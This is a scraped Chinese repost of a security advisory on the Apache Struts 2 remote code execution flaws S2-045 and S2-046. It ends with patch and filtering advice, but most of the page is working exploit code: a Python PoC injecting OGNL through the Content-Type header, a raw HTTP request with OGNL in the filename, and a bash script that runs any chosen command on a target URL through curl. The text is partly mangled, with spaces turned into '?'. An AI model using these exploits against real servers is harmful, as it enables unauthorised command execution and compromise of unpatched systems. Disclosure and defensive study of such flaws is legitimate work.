linux struts2漏洞,重大漏洞预警:Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)
背景介紹
近日,安全研究人員發(fā)現(xiàn)著名J2EE框架——Struts2存在遠程代碼執(zhí)行的漏洞,Struts2官方已經(jīng)確認該漏洞(S2-045,S2-046),并定級為高危漏洞。
Struts2?的使用范圍及其廣泛,國內(nèi)外均有大量廠商使用該框架。
Struts2是一個基于MVC設(shè)計模式的Web應(yīng)用框架,它本質(zhì)上相當于一個servlet,在MVC設(shè)計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數(shù)據(jù)交互。Struts 2是Struts的下一代產(chǎn)品,是在 struts 1和WebWork的技術(shù)基礎(chǔ)上進行了合并的全新的Struts 2框架。(來源:百度百科)
漏洞描述
使用Jakarta插件處理文件上傳操作時可能導(dǎo)致遠程代碼執(zhí)行漏洞。
S2-045漏洞影響
攻擊者可以通過構(gòu)造HTTP請求頭中的Content-Type值可能造成遠程代碼執(zhí)行。
#!?/usr/bin/env?python
#?encoding:utf-8
import?urllib2
import?sys
from?poster.encode?import?multipart_encode
from?poster.streaminghttp?import?register_openers
def?poc():
register_openers()
datagen,?header?=?multipart_encode({"image1":?open("tmp.txt",?"rb")})
header["User-Agent"]="Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10_12_3)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/56.0.2924.87?Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new?java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request?=?urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response?=?urllib2.urlopen(request)
print?response.read()
poc()
S2-046漏洞影響(更新)
觸發(fā)條件
上傳文件的大小(由Content-Length頭指定)大于Struts2允許的最大大小(2GB)。
header中的Content-Disposition中包含空字節(jié)。
文件名內(nèi)容構(gòu)造惡意的OGNL內(nèi)容。
POST?/doUpload.action?HTTP/1.1
Host:?localhost:8080
Content-Length:?10000000
Content-Type:?multipart/form-data;?boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection:?close
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition:?form-data;?name="upload";?filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type:?text/plain
Kaboom
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
#!/bin/bash
url=$1
cmd=$2
shift
shift
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data;?boundary=$boundary"
payload=$(echo?"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new?java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
printf?--?"--$boundary\r\nContent-Disposition:?form-data;?name=\"foo\";?filename=\"%s\0b\"\r\nContent-Type:?text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n"?"$payload"?|?curl?"$url"?-H?"Content-Type:?$content_type"?-H?"Expect:?"?-H?"Connection:?close"?--data-binary?@-?$@
驗證截圖
修復(fù)建議
1. 嚴格過濾?Content-Type?、filename里的內(nèi)容,嚴禁ognl表達式相關(guān)字段。
2. 如果您使用基于Jakarta插件,請升級到Apache Struts 2.3.32或2.5.10.1版本。(強烈推薦)
官網(wǎng)公告
補丁地址
參考
文章來源:安全客
總結(jié)
以上是生活随笔為你收集整理的linux struts2漏洞,重大漏洞预警:Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 不知道威固是哪个国家的品牌?
- 下一篇: 摩洛哥皇家陆军的M1A1SA主战战车